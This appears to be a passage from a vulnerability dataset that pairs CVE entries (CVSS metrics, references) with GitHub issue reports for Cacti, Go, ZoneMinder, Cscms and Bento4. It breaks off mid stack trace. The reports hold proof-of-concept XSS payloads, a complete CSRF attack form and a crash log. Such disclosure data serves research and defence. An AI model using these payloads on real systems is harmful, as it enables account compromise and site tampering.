reproduce - - Navigate to http://localhost/cacti/pollers.php?action=edit&id=1 & add the below shared payload as the `Hostname` field value. Payload - `<img src=xss onerror=alert(1)>` - Visit http://localhost/cacti/pollers.php, payload will be triggered. <br> <img width="732" alt="cacti" src="https://user-images.githubusercontent.com/42465102/50042544-67e41b00-008a-11e9-849c-0ae9d7164810.png"> <img width="730" alt="cacti1" src="https://user-images.githubusercontent.com/42465102/50042557-8813da00-008a-11e9-8ac0-1722a257ae3b.png">	Stored XSS in "Website Hostname" field - Data Collectors	https://api.github.com/repos/Cacti/cacti/issues/2212/comments	1	2018-12-15T11:31:18Z	2020-06-30T05:31:10Z	https://github.com/Cacti/cacti/issues/2212	391,369,971	2,212
CVE-2018-20725	2019-01-16T16:29:00.620	A cross-site scripting (XSS) vulnerability exists in graph_templates.php in Cacti before 1.2.0 due to lack of escaping of unintended characters in the Graph Vertical Label.	{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "LOW", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "SINGLE", "availabilityImpact": "NONE", "baseScore": 3.5, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:S/C:N/I:P/A:N", "version": "2.0" }, "exploitabilityScore": 6.8, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 4.8, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "HIGH", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N", "version": "3.0" }, "exploitabilityScore": 1.7, "impactScore": 2.7, "source": "[email protected]", "type": "Primary" } ], "cvssMetricV31": null }	[ { "source": "[email protected]", "tags": null, "url": "http://lists.opensuse.org/opensuse-security-announce/2020-03/msg00001.html" }, { "source": "[email protected]", "tags": null, "url": "http://lists.opensuse.org/opensuse-security-announce/2020-03/msg00005.html" }, { "source": "[email protected]", "tags": null, "url": "http://lists.opensuse.org/opensuse-security-announce/2020-04/msg00042.html" }, { "source": "[email protected]", "tags": null, "url": "http://lists.opensuse.org/opensuse-security-announce/2020-04/msg00048.html" }, { "source": "[email protected]", "tags": [ "Release Notes", "Third Party Advisory" ], "url": "https://github.com/Cacti/cacti/blob/develop/CHANGELOG" }, { "source": "[email protected]", "tags": [ "Patch", "Third Party Advisory" ], "url": "https://github.com/Cacti/cacti/commit/80c2a88fb2afb93f87703ba4641f9970478c102d" }, { "source": "[email protected]", "tags": [ "Exploit", "Issue Tracking", "Third Party Advisory" ], "url": "https://github.com/Cacti/cacti/issues/2214" } ]	[ { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:a:cacti:cacti::::::::", "matchCriteriaId": "1C7FEEA7-B141-4E6E-8B73-4DFF4844A341", "versionEndExcluding": "1.2.0", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null } ]	https://github.com/Cacti/cacti/issues/2214	[ "Exploit", "Issue Tracking", "Third Party Advisory" ]	github.com	[ "Cacti", "cacti" ]	Description - There's no escape being done before printing out the value of `Vertical Label` in the Graphic templates page. <br> Cacti version - v1.1.38 <br> Steps to reproduce - - Navigate to http://localhost:4040/cacti/graph_templates.php?action=template_edit&id=1 & add the below shared payload as the `Vertical label` field value. Payload - `label<img src=xss onerror=alert(1)>` - Visit http://localhost:4040/cacti/graph_templates.php, the payload will be triggered. <br> <img width="641" alt="cacti4" src="https://user-images.githubusercontent.com/42465102/50050353-e9d15400-011d-11e9-934a-fdebca472c83.png"> <img width="641" alt="cacti5" src="https://user-images.githubusercontent.com/42465102/50050354-e9d15400-011d-11e9-9ea5-67ed291d8e20.png">	Stored XSS in "Vertical Label" field - Graph	https://api.github.com/repos/Cacti/cacti/issues/2214/comments	1	2018-12-16T05:03:25Z	2020-06-30T05:31:09Z	https://github.com/Cacti/cacti/issues/2214	391,436,010	2,214
CVE-2018-20726	2019-01-16T16:29:00.697	A cross-site scripting (XSS) vulnerability exists in host.php (via tree.php) in Cacti before 1.2.0 due to lack of escaping of unintended characters in the Website Hostname field for Devices.	{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "LOW", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "SINGLE", "availabilityImpact": "NONE", "baseScore": 3.5, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:S/C:N/I:P/A:N", "version": "2.0" }, "exploitabilityScore": 6.8, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 5.4, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "LOW", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "version": "3.0" }, "exploitabilityScore": 2.3, "impactScore": 2.7, "source": "[email protected]", "type": "Primary" } ], "cvssMetricV31": null }	[ { "source": "[email protected]", "tags": null, "url": "http://lists.opensuse.org/opensuse-security-announce/2020-03/msg00001.html" }, { "source": "[email protected]", "tags": null, "url": "http://lists.opensuse.org/opensuse-security-announce/2020-03/msg00005.html" }, { "source": "[email protected]", "tags": null, "url": "http://lists.opensuse.org/opensuse-security-announce/2020-04/msg00042.html" }, { "source": "[email protected]", "tags": null, "url": "http://lists.opensuse.org/opensuse-security-announce/2020-04/msg00048.html" }, { "source": "[email protected]", "tags": [ "Release Notes", "Third Party Advisory" ], "url": "https://github.com/Cacti/cacti/blob/develop/CHANGELOG" }, { "source": "[email protected]", "tags": [ "Patch", "Third Party Advisory" ], "url": "https://github.com/Cacti/cacti/commit/80c2a88fb2afb93f87703ba4641f9970478c102d" }, { "source": "[email protected]", "tags": [ "Issue Tracking", "Exploit", "Third Party Advisory" ], "url": "https://github.com/Cacti/cacti/issues/2213" } ]	[ { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:a:cacti:cacti::::::::", "matchCriteriaId": "1C7FEEA7-B141-4E6E-8B73-4DFF4844A341", "versionEndExcluding": "1.2.0", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null } ]	https://github.com/Cacti/cacti/issues/2213	[ "Issue Tracking", "Exploit", "Third Party Advisory" ]	github.com	[ "Cacti", "cacti" ]	Description - There's no escape being done before printing out the value of `Hostname` value in the Tree table. <br> Cacti version - v1.1.38 <br> Steps to reproduce - - Navigate to http://localhost:4040/cacti/host.php?action=edit&id=1 & add the below shared payload as the `Hostname` field value. Payload - `<img src=xss onerror=alert(1)>` - Visit http://localhost:4040/cacti/tree.php?action=edit&id=1, payload will be triggered. <br> <img width="683" alt="cacti2" src="https://user-images.githubusercontent.com/42465102/50050299-e6899880-011c-11e9-8e8d-09ea6c58bdfc.png"> <img width="685" alt="cacti3" src="https://user-images.githubusercontent.com/42465102/50050300-e6899880-011c-11e9-9c50-c2e66771488c.png">	Stored XSS in "Website Hostname" field - Devices	https://api.github.com/repos/Cacti/cacti/issues/2213/comments	1	2018-12-16T04:56:37Z	2020-06-30T05:31:08Z	https://github.com/Cacti/cacti/issues/2213	391,435,648	2,213
CVE-2019-6486	2019-01-24T05:29:00.907	Go before 1.10.8 and 1.11.x before 1.11.5 mishandles P-521 and P-384 elliptic curves, which allows attackers to cause a denial of service (CPU consumption) or possibly conduct ECDH private key recovery attacks.	{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 6.4, "confidentialityImpact": "PARTIAL", "integrityImpact": "NONE", "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:P", "version": "2.0" }, "exploitabilityScore": 10, "impactScore": 4.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": false } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 8.2, "baseSeverity": "HIGH", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H", "version": "3.0" }, "exploitabilityScore": 3.9, "impactScore": 4.2, "source": "[email protected]", "type": "Primary" } ], "cvssMetricV31": null }	[ { "source": "[email protected]", "tags": [ "Third Party Advisory" ], "url": "http://lists.opensuse.org/opensuse-security-announce/2019-04/msg00042.html" }, { "source": "[email protected]", "tags": null, "url": "http://lists.opensuse.org/opensuse-security-announce/2019-05/msg00060.html" }, { "source": "[email protected]", "tags": null, "url": "http://lists.opensuse.org/opensuse-security-announce/2019-06/msg00011.html" }, { "source": "[email protected]", "tags": null, "url": "http://lists.opensuse.org/opensuse-security-announce/2019-06/msg00015.html" }, { "source": "[email protected]", "tags": [ "Third Party Advisory", "VDB Entry" ], "url": "http://www.securityfocus.com/bid/106740" }, { "source": "[email protected]", "tags": [ "Patch", "Third Party Advisory" ], "url": "https://github.com/golang/go/commit/42b42f71cf8f5956c09e66230293dfb5db652360" }, { "source": "[email protected]", "tags": [ "Third Party Advisory" ], "url": "https://github.com/golang/go/issues/29903" }, { "source": "[email protected]", "tags": [ "Third Party Advisory" ], "url": "https://github.com/google/wycheproof" }, { "source": "[email protected]", "tags": null, "url": "https://groups.google.com/forum/#%21topic/golang-announce/mVeX35iXuSw" }, { "source": "[email protected]", "tags": [ "Mailing List", "Third Party Advisory" ], "url": "https://lists.debian.org/debian-lts-announce/2019/02/msg00009.html" }, { "source": "[email protected]", "tags": [ "Third Party Advisory" ], "url": "https://www.debian.org/security/2019/dsa-4379" }, { "source": "[email protected]", "tags": [ "Third Party Advisory" ], "url": "https://www.debian.org/security/2019/dsa-4380" } ]	[ { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:a:golang:go::::::::", "matchCriteriaId": "DC7FF63E-50BB-42D5-ACD6-1F5A9AD7E08D", "versionEndExcluding": "1.10.8", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true }, { "criteria": "cpe:2.3:a:golang:go::::::::", "matchCriteriaId": "9BBC54E7-EA22-4BE9-B1B7-92118786B8A5", "versionEndExcluding": "1.11.5", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": "1.11.1", "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null }, { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:o:debian:debian_linux:8.0:::::::", "matchCriteriaId": "C11E6FB0-C8C0-4527-9AA0-CB9B316F8F43", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true }, { "criteria": "cpe:2.3:o:debian:debian_linux:9.0:::::::", "matchCriteriaId": "DEECE5FC-CACF-4496-A3E7-164736409252", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null }, { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:o:opensuse:leap:15.0:::::::*", "matchCriteriaId": "F1E78106-58E6-4D59-990F-75DA575BFAD9", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null } ]	https://github.com/golang/go/issues/29903	[ "Third Party Advisory" ]	github.com	[ "golang", "go" ]	A DoS vulnerability in the crypto/elliptic implementations of the P-521 and P-384 elliptic curves may let an attacker craft inputs that consume excessive amounts of CPU. These inputs might be delivered via TLS handshakes, X.509 certificates, JWT tokens, ECDH shares or ECDSA signatures. In some cases, if an ECDH private key is reused more than once, the attack can also lead to key recovery. This issue is CVE-2019-6486. It was found and reported by [the Wycheproof project](https://github.com/google/wycheproof).	crypto/elliptic: CPU DoS vulnerability affecting P-521 and P-384	https://api.github.com/repos/golang/go/issues/29903/comments	8	2019-01-23T21:47:29Z	2020-03-13T20:17:47Z	https://github.com/golang/go/issues/29903	402,444,291	29,903
CVE-2019-6777	2019-01-24T15:29:01.017	An issue was discovered in ZoneMinder v1.32.3. Reflected XSS exists in web/skins/classic/views/plugin.php via the zm/index.php?view=plugin pl parameter.	{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "NONE", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.1, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "NONE", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.0" }, "exploitabilityScore": 2.8, "impactScore": 2.7, "source": "[email protected]", "type": "Primary" } ], "cvssMetricV31": null }	[ { "source": "[email protected]", "tags": [ "Exploit", "Issue Tracking", "Third Party Advisory" ], "url": "https://github.com/ZoneMinder/zoneminder/issues/2436" }, { "source": "[email protected]", "tags": [ "Patch", "Third Party Advisory" ], "url": "https://github.com/mnoorenberghe/ZoneMinder/commit/59cc65411f02c7e39a270fda3ecb4966d7b48d41" } ]	[ { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:a:zoneminder:zoneminder:1.32.3:::::::*", "matchCriteriaId": "E5A2481D-4A45-48A2-B7DE-86C7D161F6EA", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null } ]	https://github.com/ZoneMinder/zoneminder/issues/2436	[ "Exploit", "Issue Tracking", "Third Party Advisory" ]	github.com	[ "ZoneMinder", "zoneminder" ]	Describe Your Environment -ZoneMinder v1.32.3 Describe the bug Reflective XSS vulnerability To Reproduce ZoneMinder has one reflective XSS vulnerabilities 1.plugin.php line 106 The parameters in the request are accepted at 39 lines, and the page is output at 106 lines without verification. ![default](https://user-images.githubusercontent.com/39950310/51591378-ca50f680-1f27-11e9-88f8-38bba2d435c8.png) ![default](https://user-images.githubusercontent.com/39950310/51591391-d8067c00-1f27-11e9-97a5-cc5a643090b7.png) Expected behavior The vulnerability mcan lead to user information leakage, unauthorized operation Debug Logs ``` <insert debug logs here, please make sure they are within the ``` quotes so they are formatted properly> ```	Reflective XSS vulnerability	https://api.github.com/repos/ZoneMinder/zoneminder/issues/2436/comments	3	2019-01-23T08:03:50Z	2019-01-24T20:23:21Z	https://github.com/ZoneMinder/zoneminder/issues/2436	402,115,314	2,436
CVE-2019-6779	2019-01-24T19:29:00.197	Cscms 4.1.8 allows admin.php/links/save CSRF to add, modify, or delete friend links.	{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 5.8, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:P", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 4.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 8.1, "baseSeverity": "HIGH", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H", "version": "3.0" }, "exploitabilityScore": 2.8, "impactScore": 5.2, "source": "[email protected]", "type": "Primary" } ], "cvssMetricV31": null }	[ { "source": "[email protected]", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/chshcms/cscms/issues/3" } ]	[ { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:a:chshcms:cscms:4.1.8:::::::*", "matchCriteriaId": "A70E830D-724F-4B4C-A709-0DAAD326DC70", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null } ]	https://github.com/chshcms/cscms/issues/3	[ "Exploit", "Third Party Advisory" ]	github.com	[ "chshcms", "cscms" ]	just use add friend links for example: After the admin logged in, we can send him a url with these code on that page PoC: ```html <html> <body> <script>history.pushState('', '', '/')</script> <form action="http://localhost:9000/admin.php/links/save" method="POST"> <input type="hidden" name="name" value="test" /> <input type="hidden" name="url" value="http://www.google.com" /> <input type="hidden" name="cid" value="1" /> <input type="hidden" name="pic" value="http://" /> <input type="hidden" name="sid" value="1" /> <input type="hidden" name="id" value="0" /> <input type="submit" value="Submit request" /> </form> </body> </html> ``` after he clicked that button, then we can add our malicious link to the friend link: admin page: <img width="1224" alt="screen shot 2019-01-24 at 22 32 53" src="https://user-images.githubusercontent.com/17252049/51684919-21d68b80-2028-11e9-9ac6-e8cef2ea321f.png"> homepage: <img width="910" alt="qq20190124-224351 2x" src="https://user-images.githubusercontent.com/17252049/51685599-965dfa00-2029-11e9-8b25-034e0f431b38.png">	There is a CSRF vulnerability that can add/modify/delete friend links	https://api.github.com/repos/chshcms/cscms/issues/3/comments	0	2019-01-24T14:51:59Z	2020-02-27T04:22:34Z	https://github.com/chshcms/cscms/issues/3	402,743,077	3
CVE-2019-6966	2019-01-25T23:29:00.237	An issue was discovered in Bento4 1.5.1-628. The AP4_ElstAtom class in Core/Ap4ElstAtom.cpp has an attempted excessive memory allocation related to AP4_Array<AP4_ElstEntry>::EnsureCapacity in Core/Ap4Array.h, as demonstrated by mp42hls.	{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "NONE", "vectorString": "AV:N/AC:M/Au:N/C:N/I:N/A:P", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 6.5, "baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "version": "3.0" }, "exploitabilityScore": 2.8, "impactScore": 3.6, "source": "[email protected]", "type": "Primary" } ], "cvssMetricV31": null }	[ { "source": "[email protected]", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/axiomatic-systems/Bento4/issues/361" } ]	[ { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:a:axiosys:bento4:1.5.1-628:::::::*", "matchCriteriaId": "27A2EAA1-1740-4A14-BFFC-BD4406E9BD87", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null } ]	https://github.com/axiomatic-systems/Bento4/issues/361	[ "Exploit", "Third Party Advisory" ]	github.com	[ "axiomatic-systems", "Bento4" ]	A crafted input will lead to failed allocate LargeMmapAllocator in Ap4Array.h at Bento4 1.5.1-628. Triggered by ./mp42hls crash3.mp4 Poc [poc1.zip](https://github.com/axiomatic-systems/Bento4/files/2795098/poc1.zip) Bento4 Version 1.5.1-628 The ASAN information is as follows: ``` ==56305==ERROR: AddressSanitizer failed to allocate 0xc00003000 (51539619840) bytes of LargeMmapAllocator (errno: 12) ==56305==Process memory map follows: 0x000000400000-0x0000007b4000 /home/jas/Downloads/Bento4-SRC-1-5-1-628/cmakebuild/mp42hls 0x0000009b4000-0x0000009b5000 /home/jas/Downloads/Bento4-SRC-1-5-1-628/cmakebuild/mp42hls 0x0000009b5000-0x000000b5b000 /home/jas/Downloads/Bento4-SRC-1-5-1-628/cmakebuild/mp42hls 0x00007fff7000-0x00008fff7000 0x00008fff7000-0x02008fff7000 0x02008fff7000-0x10007fff8000 0x600000000000-0x602000000000 0x602000000000-0x602000010000 0x602000010000-0x603000000000 0x603000000000-0x603000010000 0x603000010000-0x604000000000 0x604000000000-0x604000010000 0x604000010000-0x606000000000 0x606000000000-0x606000010000 0x606000010000-0x607000000000 0x607000000000-0x607000010000 0x607000010000-0x608000000000 0x608000000000-0x608000010000 0x608000010000-0x60c000000000 0x60c000000000-0x60c000010000 0x60c000010000-0x60d000000000 0x60d000000000-0x60d000010000 0x60d000010000-0x60e000000000 0x60e000000000-0x60e000010000 0x60e000010000-0x611000000000 0x611000000000-0x611000010000 0x611000010000-0x616000000000 0x616000000000-0x616000020000 0x616000020000-0x619000000000 0x619000000000-0x619000020000 0x619000020000-0x621000000000 0x621000000000-0x621000020000 0x621000020000-0x631000000000 0x631000000000-0x631000030000 0x631000030000-0x640000000000 0x640000000000-0x640000003000 0x7ff016000000-0x7ff016100000 0x7ff016200000-0x7ff016300000 0x7ff01635e000-0x7ff0186b0000 0x7ff0186b0000-0x7ff0187b8000 /lib/x86_64-linux-gnu/libm-2.23.so 0x7ff0187b8000-0x7ff0189b7000 /lib/x86_64-linux-gnu/libm-2.23.so 0x7ff0189b7000-0x7ff0189b8000 /lib/x86_64-linux-gnu/libm-2.23.so 0x7ff0189b8000-0x7ff0189b9000 /lib/x86_64-linux-gnu/libm-2.23.so 0x7ff0189b9000-0x7ff0189bc000 /lib/x86_64-linux-gnu/libdl-2.23.so 0x7ff0189bc000-0x7ff018bbb000 /lib/x86_64-linux-gnu/libdl-2.23.so 0x7ff018bbb000-0x7ff018bbc000 /lib/x86_64-linux-gnu/libdl-2.23.so 0x7ff018bbc000-0x7ff018bbd000 /lib/x86_64-linux-gnu/libdl-2.23.so 0x7ff018bbd000-0x7ff018bd5000 /lib/x86_64-linux-gnu/libpthread-2.23.so 0x7ff018bd5000-0x7ff018dd4000 /lib/x86_64-linux-gnu/libpthread-2.23.so 0x7ff018dd4000-0x7ff018dd5000 /lib/x86_64-linux-gnu/libpthread-2.23.so 0x7ff018dd5000-0x7ff018dd6000 /lib/x86_64-linux-gnu/libpthread-2.23.so 0x7ff018dd6000-0x7ff018dda000 0x7ff018dda000-0x7ff018f9a000 /lib/x86_64-linux-gnu/libc-2.23.so 0x7ff018f9a000-0x7ff01919a000 /lib/x86_64-linux-gnu/libc-2.23.so 0x7ff01919a000-0x7ff01919e000 /lib/x86_64-linux-gnu/libc-2.23.so 0x7ff01919e000-0x7ff0191a0000 /lib/x86_64-linux-gnu/libc-2.23.so 0x7ff0191a0000-0x7ff0191a4000 0x7ff0191a4000-0x7ff0191ba000 /lib/x86_64-linux-gnu/libgcc_s.so.1 0x7ff0191ba000-0x7ff0193b9000 /lib/x86_64-linux-gnu/libgcc_s.so.1 0x7ff0193b9000-0x7ff0193ba000 /lib/x86_64-linux-gnu/libgcc_s.so.1 0x7ff0193ba000-0x7ff01952c000 /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.21 0x7ff01952c000-0x7ff01972c000 /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.21 0x7ff01972c000-0x7ff019736000 /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.21 0x7ff019736000-0x7ff019738000 /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.21 0x7ff019738000-0x7ff01973c000 0x7ff01973c000-0x7ff019830000 /usr/lib/x86_64-linux-gnu/libasan.so.2.0.0 0x7ff019830000-0x7ff019a30000 /usr/lib/x86_64-linux-gnu/libasan.so.2.0.0 0x7ff019a30000-0x7ff019a33000 /usr/lib/x86_64-linux-gnu/libasan.so.2.0.0 0x7ff019a33000-0x7ff019a34000 /usr/lib/x86_64-linux-gnu/libasan.so.2.0.0 0x7ff019a34000-0x7ff01a6a9000 0x7ff01a6a9000-0x7ff01a6cf000 /lib/x86_64-linux-gnu/ld-2.23.so 0x7ff01a81a000-0x7ff01a8b8000 0x7ff01a8b8000-0x7ff01a8ce000 0x7ff01a8ce000-0x7ff01a8cf000 /lib/x86_64-linux-gnu/ld-2.23.so 0x7ff01a8cf000-0x7ff01a8d0000 /lib/x86_64-linux-gnu/ld-2.23.so 0x7ff01a8d0000-0x7ff01a8d1000 0x7ffc5d59c000-0x7ffc5d5bd000 [stack] 0x7ffc5d5c2000-0x7ffc5d5c4000 [vvar] 0x7ffc5d5c4000-0x7ffc5d5c6000 [vdso] 0xffffffffff600000-0xffffffffff601000 [vsyscall] ==56305==End of process memory map. ==56305==AddressSanitizer CHECK failed: ../../../../src/libsanitizer/sanitizer_common/sanitizer_posix.cc:121 "(("unable to mmap" && 0)) != (0)" (0x0, 0x0) #0 0x7ff0197dc631 (/usr/lib/x86_64-linux-gnu/libasan.so.2+0xa0631) #1 0x7ff0197e15e3 in __sanitizer::CheckFailed(char const, int, char const, unsigned long long, unsigned long long) (/usr/lib/x86_64-linux-gnu/libasan.so.2+0xa55e3) #2 0x7ff0197e9611 (/usr/lib/x86_64-linux-gnu/libasan.so.2+0xad611) #3 0x7ff01975ec0c (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x22c0c) #4 0x7ff0197d54fe in operator new(unsigned long) (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x994fe) #5 0x550cef in AP4_Array<AP4_ElstEntry>::EnsureCapacity(unsigned int) /home/jas/Downloads/Bento4-SRC-1-5-1-628/Source/C++/Core/Ap4Array.h:172 #6 0x550017 in AP4_ElstAtom::AP4_ElstAtom(unsigned int, unsigned char, unsigned int, AP4_ByteStream&) /home/jas/Downloads/Bento4-SRC-1-5-1-628/Source/C++/Core/Ap4ElstAtom.cpp:73 #7 0x54fd41 in AP4_ElstAtom::Create(unsigned int, AP4_ByteStream&) /home/jas/Downloads/Bento4-SRC-1-5-1-628/Source/C++/Core/Ap4ElstAtom.cpp:51 #8 0x522fcb in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom&) /home/jas/Downloads/Bento4-SRC-1-5-1-628/Source/C++/Core/Ap4AtomFactory.cpp:545 #9 0x520e72 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom&) /home/jas/Downloads/Bento4-SRC-1-5-1-628/Source/C++/Core/Ap4AtomFactory.cpp:221 #10 0x4891c3 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) /home/jas/Downloads/Bento4-SRC-1-5-1-628/Source/C++/Core/Ap4ContainerAtom.cpp:194 #11 0x488c78 in AP4_ContainerAtom::AP4_ContainerAtom(unsigned int, unsigned long long, bool, AP4_ByteStream&, AP4_AtomFactory&) /home/jas/Downloads/Bento4-SRC-1-5-1-628/Source/C++/Core/Ap4ContainerAtom.cpp:139 #12 0x488805 in AP4_ContainerAtom::Create(unsigned int, unsigned long long, bool, bool, AP4_ByteStream&, AP4_AtomFactory&) /home/jas/Downloads/Bento4-SRC-1-5-1-628/Source/C++/Core/Ap4ContainerAtom.cpp:88 #13 0x523eba in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom&) /home/jas/Downloads/Bento4-SRC-1-5-1-628/Source/C++/Core/Ap4AtomFactory.cpp:764 #14 0x520e72 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom&) /home/jas/Downloads/Bento4-SRC-1-5-1-628/Source/C++/Core/Ap4AtomFactory.cpp:221 #15 0x4891c3 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) /home/jas/Downloads/Bento4-SRC-1-5-1-628/Source/C++/Core/Ap4ContainerAtom.cpp:194 #16 0x488c78 in AP4_ContainerAtom::AP4_ContainerAtom(unsigned int, unsigned long long, bool, AP4_ByteStream&, AP4_AtomFactory&) /home/jas/Downloads/Bento4-SRC-1-5-1-628/Source/C++/Core/Ap4ContainerAtom.cpp:139 #17 